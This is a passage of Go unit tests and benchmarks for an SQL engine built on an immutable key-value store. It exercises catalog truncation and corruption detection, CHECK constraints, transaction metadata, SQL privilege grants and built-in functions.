ADD COLUMN surname VARCHAR\")\n\t\texec(t, \"INSERT INTO table2(name, surname, amount) VALUES('Foo', 'Bar', 0)\")\n\t\texec(t, \"INSERT INTO table2(name, surname, amount) VALUES('Fin', 'Baz', 0)\")\n\t})\n\n\t// copy current catalog for recreating the catalog for database/table\n\tt.Run(\"succeed copying catalog for db\", func(t *testing.T) {\n\t\ttx, err := engine.store.NewTx(context.Background(), store.DefaultTxOptions())\n\t\trequire.NoError(t, err)\n\n\t\terr = engine.CopyCatalogToTx(context.Background(), tx)\n\t\trequire.NoError(t, err)\n\n\t\thdr, err := tx.Commit(context.Background())\n\t\trequire.NoError(t, err)\n\t\t// ensure that the last committed txn is the one we just committed\n\t\trequire.Equal(t, hdr.ID, st.LastCommittedTxID())\n\t})\n\n\t// delete txns in the store upto a certain txn\n\tt.Run(\"succeed truncating sql catalog\", func(t *testing.T) {\n\t\thdr, err := st.ReadTxHeader(deleteUptoTx.ID, false, false)\n\t\trequire.NoError(t, err)\n\t\trequire.NoError(t, st.TruncateUptoTx(hdr.ID))\n\t})\n\n\t// add more data in table post truncation\n\tt.Run(\"add data post truncation\", func(t *testing.T) {\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('John', 'Doe', 0)\")\n\t\texec(t, \"INSERT INTO table1(name, surname, amount) VALUES('Smith', 'John', 0)\")\n\n\t\texec(t, \"INSERT INTO table2(name, surname, amount) VALUES('John', 'Doe', 0)\")\n\t\texec(t, \"INSERT INTO table2(name, surname, amount) VALUES('Smith', 'John', 0)\")\n\n\t})\n\n\t// check if can query the table with new catalogue\n\tt.Run(\"succeed loading catalog from latest schema\", func(t *testing.T) {\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1\",\n\t\t\ttRow(\"table1\", 1, \"Foo\", \"Bar\", 0),\n\t\t\ttRow(\"table1\", 2, \"Fin\", \"Baz\", 0),\n\t\t\ttRow(\"table1\", 3, \"John\", \"Doe\", 0),\n\t\t\ttRow(\"table1\", 4, \"Smith\", \"John\", 0),\n\t\t)\n\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table2\",\n\t\t\ttRow(\"table2\", 1, \"Foo\", \"Bar\", 0),\n\t\t\ttRow(\"table2\", 2, \"Fin\", \"Baz\", 0),\n\t\t\ttRow(\"table2\", 3, \"John\", \"Doe\", 0),\n\t\t\ttRow(\"table2\", 4, \"Smith\", \"John\", 0),\n\t\t)\n\n\t})\n\n\tt.Run(\"indexing should work with new catalogue\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(context.Background(), nil, \"INSERT INTO table1 (name, amount) VALUES ('name1', 10), ('name1', 10)\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\n\t\t// should use primary index by default\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"id\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.True(t, scanSpecs.Index.IsPrimary())\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc BenchmarkInsertInto(b *testing.B) {\n\tworkerCount := 100\n\ttxCount := 10\n\teCount := 100\n\n\topts := store.DefaultOptions().\n\t\tWithMultiIndexing(true).\n\t\tWithSynced(true).\n\t\tWithMaxActiveTransactions(100).\n\t\tWithMaxConcurrency(workerCount)\n\n\tst, err := store.Open(b.TempDir(), opts)\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\n\tdefer st.Close()\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\n\t_, ctxs, err := engine.Exec(context.Background(), nil, `\n\t\t\tCREATE TABLE mytable1(id VARCHAR[30], title VARCHAR[50], PRIMARY KEY id);\n\t\t\tCREATE INDEX ON mytable1(title);\n\t`, nil)\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\n\tb.ResetTimer()\n\n\tfor i := 0; i < b.N; i++ {\n\t\tvar wg sync.WaitGroup\n\t\twg.Add(workerCount)\n\n\t\tfor w := 0; w < workerCount; w++ {\n\t\t\tgo func(r, w int) {\n\t\t\t\tfor i := 0; i < txCount; i++ {\n\t\t\t\t\ttxOpts := DefaultTxOptions().\n\t\t\t\t\t\tWithExplicitClose(true).\n\t\t\t\t\t\tWithUnsafeMVCC(true).\n\t\t\t\t\t\tWithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return ctxs[0].txHeader.ID })\n\n\t\t\t\t\ttx, err := engine.NewTx(context.Background(), txOpts)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tb.Fail()\n\t\t\t\t\t}\n\n\t\t\t\t\tfor j := 0; j < eCount; j++ {\n\t\t\t\t\t\tparams := map[string]interface{}{\n\t\t\t\t\t\t\t\"id\":    fmt.Sprintf(\"id_%d_%d_%d_%d\", r, w, i, j),\n\t\t\t\t\t\t\t\"title\": fmt.Sprintf(\"title_%d_%d_%d_%d\", r, w, i, j),\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t_, _, err = engine.Exec(context.Background(), tx, \"INSERT INTO mytable1(id, title) VALUES (@id, @title);\", params)\n\t\t\t\t\t\tif err != nil {\n\t\t\t\t\t\t\tb.Fail()\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\terr = tx.Commit(context.Background())\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tb.Fail()\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\twg.Done()\n\t\t\t}(i, w)\n\t\t}\n\n\t\twg.Wait()\n\t}\n}\n\nfunc BenchmarkNotIndexedOrderBy(b *testing.B) {\n\tst, err := store.Open(b.TempDir(), store.DefaultOptions().WithMultiIndexing(true).WithLogger(logger.NewMemoryLoggerWithLevel(logger.LogError)))\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\n\tdefer st.Close()\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix).WithSortBufferSize(1024))\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\n\t_, _, err = engine.Exec(context.Background(), nil, `CREATE TABLE mytable(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id);`, nil)\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\n\tfor nBatch := 0; nBatch < 100; nBatch++ {\n\t\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions().WithExplicitClose(true))\n\t\tif err != nil {\n\t\t\tb.Fail()\n\t\t}\n\n\t\tnRows := 1000\n\t\tfor i := 0; i < nRows; i++ {\n\t\t\t_, _, err := engine.Exec(context.Background(), tx, \"INSERT INTO mytable(title) VALUES (@title)\", map[string]interface{}{\n\t\t\t\t\"title\": fmt.Sprintf(\"title%d\", rand.Int()),\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\tb.Fail()\n\t\t\t}\n\t\t}\n\n\t\terr = tx.Commit(context.Background())\n\t\tif err != nil {\n\t\t\tb.Fail()\n\t\t}\n\t}\n\n\tb.ResetTimer()\n\n\tstart := time.Now()\n\treader, err := engine.Query(context.Background(), nil, \"SELECT * FROM mytable ORDER BY title ASC LIMIT 1\", nil)\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\tdefer reader.Close()\n\n\t_, err = reader.Read(context.Background())\n\tif err != nil {\n\t\tb.Fail()\n\t}\n\tfmt.Println(\"Elapsed:\", time.Since(start))\n}\n\nfunc TestLikeWithNullableColumns(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE mytable (id INTEGER AUTO_INCREMENT, title VARCHAR, PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO mytable(title) VALUES (NULL), ('title1')\", nil)\n\trequire.NoError(t, err)\n\n\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title FROM mytable WHERE title LIKE '.*'\", nil)\n\trequire.NoError(t, err)\n\tdefer r.Close()\n\n\trow, err := r.Read(context.Background())\n\trequire.NoError(t, err)\n\n\trequire.Len(t, row.ValuesByPosition, 2)\n\trequire.EqualValues(t, 2, row.ValuesByPosition[0].RawValue())\n\trequire.EqualValues(t, \"title1\", row.ValuesByPosition[1].RawValue())\n\n\t_, err = r.Read(context.Background())\n\trequire.ErrorIs(t, err, ErrNoMoreRows)\n}\n\ntype BrokenCatalogTestSuite struct {\n\tsuite.Suite\n\n\tpath   string\n\tst     *store.ImmuStore\n\tengine *Engine\n}\n\nfunc TestBrokenCatalogTestSuite(t *testing.T) {\n\tsuite.Run(t, new(BrokenCatalogTestSuite))\n}\n\nfunc (t *BrokenCatalogTestSuite) SetupTest() {\n\tt.path = t.T().TempDir()\n\n\tst, err := store.Open(t.path, store.DefaultOptions().WithMultiIndexing(true))\n\tt.Require().NoError(err)\n\n\tt.st = st\n\n\tt.engine, err = NewEngine(t.st, DefaultOptions().WithPrefix(sqlPrefix))\n\tt.Require().NoError(err)\n\n\t_, _, err = t.engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`\n\t\tCREATE TABLE test(\n\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\tvar VARCHAR,\n\t\t\tb BOOLEAN,\n\t\t\tPRIMARY KEY(id)\n\t\t)\n\t\t`, nil)\n\tt.Require().NoError(err)\n\n\t// Tests in teh suite require specific IDs to be assigned\n\t// we check below if those are as expected\n\ttx, err := t.engine.NewTx(context.Background(), DefaultTxOptions())\n\tt.Require().NoError(err)\n\tdefer tx.Cancel()\n\n\ttab, err := tx.catalog.GetTableByName(\"test\")\n\tt.Require().NoError(err)\n\tt.Require().EqualValues(1, tab.id)\n\n\tfor id, name := range map[uint32]string{\n\t\t1: \"id\",\n\t\t2: \"var\",\n\t\t3: \"b\",\n\t} {\n\t\tcol, err := tab.GetColumnByName(name)\n\t\tt.Require().NoError(err)\n\t\tt.Require().EqualValues(id, col.id)\n\t}\n}\n\nfunc (t *BrokenCatalogTestSuite) TearDownTest() {\n\tdefer os.RemoveAll(t.path)\n\n\tif t.st != nil {\n\t\terr := t.st.Close()\n\t\tt.Require().NoError(err)\n\t}\n}\n\nfunc (t *BrokenCatalogTestSuite) getColEntry(colID uint32) (k, v []byte, vref store.ValueRef) {\n\ttx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions())\n\tt.Require().NoError(err)\n\tdefer tx.Cancel()\n\n\treader, err := tx.NewKeyReader(store.KeyReaderSpec{\n\t\tPrefix: MapKey(sqlPrefix, catalogColumnPrefix, EncodeID(1), EncodeID(1), EncodeID(colID)),\n\t})\n\tt.Require().NoError(err)\n\tdefer reader.Close()\n\n\tk, vref, err = reader.Read(context.Background())\n\tt.Require().NoError(err)\n\n\tv, err = vref.Resolve()\n\tt.Require().NoError(err)\n\n\treturn k, v, vref\n}\n\nfunc (t *BrokenCatalogTestSuite) TestCanNotSetExpiredEntryInCatalog() {\n\tk, v, _ := t.getColEntry(2)\n\n\tmd := store.NewKVMetadata()\n\terr := md.ExpiresAt(time.Now().Add(time.Hour))\n\tt.Require().NoError(err)\n\n\ttx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions())\n\tt.Require().NoError(err)\n\tdefer tx.Cancel()\n\n\ttx.Set(k, md, v)\n\n\tc := newCatalog(sqlPrefix)\n\terr = c.load(context.Background(), tx)\n\n\tt.Require().ErrorIs(err, ErrBrokenCatalogColSpecExpirable)\n}\n\nfunc (t *BrokenCatalogTestSuite) TestErrorWhenColSpecIsToShort() {\n\tk, v, vref := t.getColEntry(2)\n\n\ttx, err := t.st.NewTx(context.Background(), store.DefaultTxOptions())\n\tt.Require().NoError(err)\n\tdefer tx.Cancel()\n\n\terr = tx.Delete(context.Background(), k)\n\tt.Require().NoError(err)\n\n\terr = tx.Set(k[:len(k)-1], vref.KVMetadata(), v)\n\tt.Require().NoError(err)\n\n\tc := newCatalog(sqlPrefix)\n\terr = c.load(context.Background(), tx)\n\n\tt.Require().ErrorIs(err, ErrCorruptedData)\n}\n\nfunc (t *BrokenCatalogTestSuite) TestErrorColSpecNotSequential() {\n\ttx, err := t.engine.NewTx(context.Background(), DefaultTxOptions())\n\tt.Require().NoError(err)\n\tdefer tx.Cancel()\n\n\terr = persistColumn(tx, &Column{\n\t\tid:    100,\n\t\ttable: &Table{id: 1},\n\t})\n\tt.Require().NoError(err)\n\n\tc := newCatalog(sqlPrefix)\n\terr = c.load(context.Background(), tx.tx)\n\n\tt.Require().ErrorIs(err, ErrCorruptedData)\n}\n\nfunc (t *BrokenCatalogTestSuite) TestErrorColSpecDuplicate() {\n\ttx, err := t.engine.NewTx(context.Background(), DefaultTxOptions())\n\tt.Require().NoError(err)\n\tdefer tx.Cancel()\n\n\t// the type is part of the key, write another column with same id as the primary key\n\terr = persistColumn(tx, &Column{\n\t\tid:      1,\n\t\tcolType: BLOBType,\n\t\ttable:   &Table{id: 1},\n\t})\n\tt.Require().NoError(err)\n\n\tc := newCatalog(sqlPrefix)\n\terr = c.load(context.Background(), tx.tx)\n\n\tt.Require().ErrorIs(err, ErrCorruptedData)\n}\n\nfunc (t *BrokenCatalogTestSuite) TestErrorDroppedPrimaryIndexColumn() {\n\ttx, err := t.engine.NewTx(context.Background(), DefaultTxOptions())\n\tt.Require().NoError(err)\n\tdefer tx.Cancel()\n\n\t// the type is part of the key, write another column with same id as the primary key\n\terr = persistColumnDeletion(context.Background(), tx, &Column{\n\t\tid:      1,\n\t\tcolType: IntegerType,\n\t\ttable:   &Table{id: 1},\n\t})\n\tt.Require().NoError(err)\n\n\tc := newCatalog(sqlPrefix)\n\n\terr = c.load(context.Background(), tx.tx)\n\tt.Require().ErrorIs(err, ErrColumnDoesNotExist)\n}\n\nfunc TestCheckConstraints(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions())\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t`CREATE TABLE table_with_checks (\n\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\taccount VARCHAR,\n\t\t\tin_balance FLOAT,\n\t\t\tout_balance FLOAT,\n\t\t\tbalance FLOAT,\n\t\t\tmetadata JSON,\n\n\t\t\tCONSTRAINT metadata_check CHECK metadata->'usr' IS NOT NULL,\n\t\t\tCHECK (account IS NULL) OR (account LIKE '^account_.*'),\n\t\t\tCONSTRAINT in_out_balance_sum CHECK (in_balance + out_balance = balance),\n\t\t\tCHECK (in_balance >= 0),\n\t\t\tCHECK (out_balance <= 0),\n\t\t\tCHECK (balance >= 0),\n\n\t\t\tPRIMARY KEY id\n\t\t)`, nil,\n\t)\n\trequire.NoError(t, err)\n\n\tt.Run(\"check constraint violation\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_one', 10, -1.5, 8.5, '{\"usr\": \"user\"}')`, nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account', 20, -1.0, 19.0, '{\"usr\": \"user\"}')`, nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', 10, 1.5, 11.5, '{\"usr\": \"user\"}')`, nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', -1, 2.5, 1.5, '{\"usr\": \"user\"}')`, nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', 10, -1.5, 9.0, '{\"usr\": \"user\"}')`, nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil,\n\t\t\t`UPDATE table_with_checks\n\t\tSET\n\t\t\tin_balance = in_balance - 1,\n\t\t\tout_balance = out_balance + 1\n\t\tWHERE id = 1`, nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil,\n\t\t\t`UPDATE table_with_checks\n\t\tSET\n\t\t\tout_balance = out_balance - 1,\n\t\t\tbalance = balance - 1\n\t\tWHERE id = 1`, nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"UPDATE table_with_checks SET in_balance = in_balance + 1 WHERE id = 1\", nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"UPDATE table_with_checks SET in_balance = NULL\", nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\t})\n\n\tt.Run(\"drop constraint\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table_with_checks DROP CONSTRAINT metadata_check\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table_with_checks DROP CONSTRAINT in_out_balance_sum\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table_with_checks DROP CONSTRAINT in_out_balance_sum\", nil)\n\t\trequire.ErrorIs(t, err, ErrConstraintNotFound)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES (NULL, 10, -1.5, 9.0)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES ('account_three', -1, -1.5, 9.0)\", nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES ('account_three', 10, 1.5, 9.0)\", nil)\n\t\trequire.ErrorIs(t, err, ErrCheckConstraintViolation)\n\t})\n\n\tt.Run(\"drop column with constraint\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table_with_checks DROP COLUMN account\", nil)\n\t\trequire.ErrorIs(t, err, ErrCannotDropColumn)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table_with_checks DROP CONSTRAINT table_with_checks_check1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"ALTER TABLE table_with_checks DROP COLUMN account\", nil)\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"unsupported check expressions\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`CREATE TABLE table_with_invalid_checks (\n\t\t\t\tid INTEGER AUTO_INCREMENT,\n\n\t\t\t\tCHECK EXISTS (SELECT * FROM mytable),\n\n\t\t\t\tPRIMARY KEY id\n\t\t\t)`, nil,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrNoSupported)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\tnil,\n\t\t\t`CREATE TABLE table_with_invalid_checks (\n\t\t\t\tid INTEGER AUTO_INCREMENT,\n\n\t\t\t\tCHECK id IN (SELECT * FROM mytable),\n\n\t\t\t\tPRIMARY KEY id\n\t\t\t)`, nil,\n\t\t)\n\t\trequire.ErrorIs(t, err, ErrNoSupported)\n\t})\n}\n\nfunc TestQueryTxMetadata(t *testing.T) {\n\topts := store.DefaultOptions().WithMultiIndexing(true)\n\topts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1))\n\n\tst, err := store.Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st,\n\t\tDefaultOptions().WithPrefix(sqlPrefix).WithParseTxMetadataFunc(func(b []byte) (map[string]interface{}, error) {\n\t\t\tvar md map[string]interface{}\n\t\t\terr := json.Unmarshal(b, &md)\n\t\t\treturn md, err\n\t\t}),\n\t)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(), nil,\n\t\t`\n\t\tCREATE TABLE mytbl (\n\t\t\tid INTEGER AUTO_INCREMENT,\n\n\t\t\tPRIMARY KEY(id)\n\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\tfor i := 0; i < 10; i++ {\n\t\textra, err := json.Marshal(map[string]interface{}{\n\t\t\t\"n\": i + 1,\n\t\t})\n\t\trequire.NoError(t, err)\n\n\t\ttxOpts := DefaultTxOptions().WithExtra(extra)\n\t\ttx, err := engine.NewTx(context.Background(), txOpts)\n\t\trequire.NoError(t, err)\n\n\t\t_, _, err = engine.Exec(\n\t\t\tcontext.Background(),\n\t\t\ttx,\n\t\t\tfmt.Sprintf(\"INSERT INTO mytbl(id) VALUES (%d)\", i+1),\n\t\t\tnil,\n\t\t)\n\t\trequire.NoError(t, err)\n\t}\n\n\trows, err := engine.queryAll(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"SELECT _tx_metadata->'n' FROM mytbl\",\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\trequire.Len(t, rows, 10)\n\n\tfor i, row := range rows {\n\t\tn := row.ValuesBySelector[EncodeSelector(\"\", \"mytbl\", \"_tx_metadata->'n'\")].RawValue()\n\t\trequire.Equal(t, float64(i+1), n)\n\t}\n\n\tengine.parseTxMetadata = nil\n\n\t_, err = engine.queryAll(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"SELECT _tx_metadata->'n' FROM mytbl\",\n\t\tnil,\n\t)\n\trequire.ErrorContains(t, err, \"unable to parse tx metadata\")\n\n\tengine.parseTxMetadata = func(b []byte) (map[string]interface{}, error) {\n\t\treturn nil, fmt.Errorf(\"parse error\")\n\t}\n\n\t_, err = engine.queryAll(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"SELECT _tx_metadata->'n' FROM mytbl\",\n\t\tnil,\n\t)\n\trequire.ErrorIs(t, err, ErrInvalidTxMetadata)\n}\n\nfunc TestGrantSQLPrivileges(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tdbs := []string{\"db1\", \"db2\"}\n\thandler := &multidbHandlerMock{\n\t\tdbs: dbs,\n\t\tuser: &mockUser{\n\t\t\tusername:      \"myuser\",\n\t\t\tpermission:    PermissionReadOnly,\n\t\t\tsqlPrivileges: []SQLPrivilege{SQLPrivilegeSelect},\n\t\t},\n\t}\n\n\topts := DefaultOptions().\n\t\tWithPrefix(sqlPrefix).\n\t\tWithMultiDBHandler(handler)\n\n\tengine, err := NewEngine(st, opts)\n\trequire.NoError(t, err)\n\n\thandler.dbs = dbs\n\thandler.engine = engine\n\n\ttx, err := engine.NewTx(context.Background(), DefaultTxOptions())\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\ttx,\n\t\t\"CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);\",\n\t\tnil,\n\t)\n\trequire.ErrorIs(t, err, ErrAccessDenied)\n\n\thandler.user.sqlPrivileges =\n\t\tappend(handler.user.sqlPrivileges, SQLPrivilegeCreate)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\ttx,\n\t\t\"CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);\",\n\t\tnil,\n\t)\n\trequire.ErrorIs(t, err, ErrAccessDenied)\n\n\thandler.user.permission = PermissionReadWrite\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\ttx,\n\t\t\"CREATE TABLE mytable(id INTEGER, PRIMARY KEY id);\",\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\tcheckGrants := func(sql string) {\n\t\trows, err := engine.queryAll(context.Background(), nil, sql, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 2)\n\n\t\tusr := rows[0].ValuesByPosition[0].RawValue().(string)\n\t\tprivilege := rows[0].ValuesByPosition[1].RawValue().(string)\n\n\t\trequire.Equal(t, usr, \"myuser\")\n\t\trequire.Equal(t, privilege, string(SQLPrivilegeSelect))\n\n\t\tusr = rows[1].ValuesByPosition[0].RawValue().(string)\n\t\tprivilege = rows[1].ValuesByPosition[1].RawValue().(string)\n\t\trequire.Equal(t, usr, \"myuser\")\n\t\trequire.Equal(t, privilege, string(SQLPrivilegeCreate))\n\t}\n\n\tcheckGrants(\"SHOW GRANTS\")\n\tcheckGrants(\"SHOW GRANTS FOR myuser\")\n}\n\nfunc TestFunctions(t *testing.T) {\n\tst, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true))\n\trequire.NoError(t, err)\n\tdefer closeStore(t, st)\n\n\tengine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix))\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"CREATE TABLE mytable(id INTEGER, PRIMARY KEY id)\",\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(\n\t\tcontext.Background(),\n\t\tnil,\n\t\t\"INSERT INTO mytable(id) VALUES (1)\",\n\t\tnil,\n\t)\n\trequire.NoError(t, err)\n\n\tt.Run(\"coalesce\", func(t *testing.T) {\n\t\ttype testCase struct {\n\t\t\tquery          string\n\t\t\texpectedValues string\n\t\t\terr            error\n\t\t}\n\n\t\tcases := []testCase{\n\t\t\t{\n\t\t\t\tquery:          \"SELECT COALESCE (NULL)\",\n\t\t\t\texpectedValues: \"NULL\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tquery:          \"SELECT COALESCE (NULL, NULL)\",\n\t\t\t\texpectedValues: \"NULL\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tquery:          \"SELECT COALESCE(NULL, 1, 1.5, 3)\",\n\t\t\t\texpectedValues: \"1\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tquery:          \"SELECT COALESCE('one', 'two', 'three')\",\n\t\t\t\texpectedValues: \"'one'\",\n\t\t\t},\n\t\t\t{\n\t\t\t\tquery: \"SELECT COALESCE(1, 'test')\",\n\t\t\t\terr:   ErrInvalidTypes,\n\t\t\t},\n\t\t}\n\n\t\tfor _, tc := range cases {\n\t\t\tif tc.err != nil {\n\t\t\t\t_, err := engine.queryAll(context.Background(), nil, tc.query, nil)\n\t\t\t\trequire.ErrorIs(t, err, tc.err)\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tassertQueryShouldProduceResults(\n\t\t\t\tt,\n\t\t\t\tengine,\n\t\t\t\ttc.query,\n\t\t\t\tfmt.Sprintf(\"SELECT * FROM (VALUES (%s))\", tc.expectedValues))\n\t\t}\n\t})\n\n\tt.Run(\"timestamp functions\", func(t *testing.T) {\n\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT NOW(1) FROM mytable\", nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT NOW() FROM mytable\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\n\t\trequire.IsType(t, time.Time{}, rows[0].ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"uuid functions\", func(t *testing.T) {\n\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT RANDOM_UUID(1) FROM mytable\", nil)\n\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT RANDOM_UUID() FROM mytable\", nil)\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, rows, 1)\n\n\t\trequire.IsType(t, uuid.UUID{}, rows[0].ValuesByPosition[0].RawValue())\n\t})\n\n\tt.Run(\"string functions\", func(t *testing.T) {\n\t\tt.Run(\"length\", func(t *testing.T) {\n\t\t\t_, err := engine.queryAll(context.Background(), nil, \"SELECT LENGTH(NULL, 1) FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\t_, err = engine.queryAll(context.Background(), nil, \"SELECT LENGTH(10) FROM mytable\", nil)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t\t\trows, err := engine.queryAll(context.Background(), nil, \"SELECT LENGTH(NULL) FROM mytable\", nil)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, rows, 1)\n\t\t\trequire.True(t, rows[0].ValuesByPosition[0].IsNull())\n\t\t\trequire.Equal(t, IntegerType, rows[0].ValuesByPosition[0].Type())\n\n\t\t\trows, err = engine.queryAll(context.Background(), nil, \"SELECT LENGTH('immudb'), LENGTH('') FROM 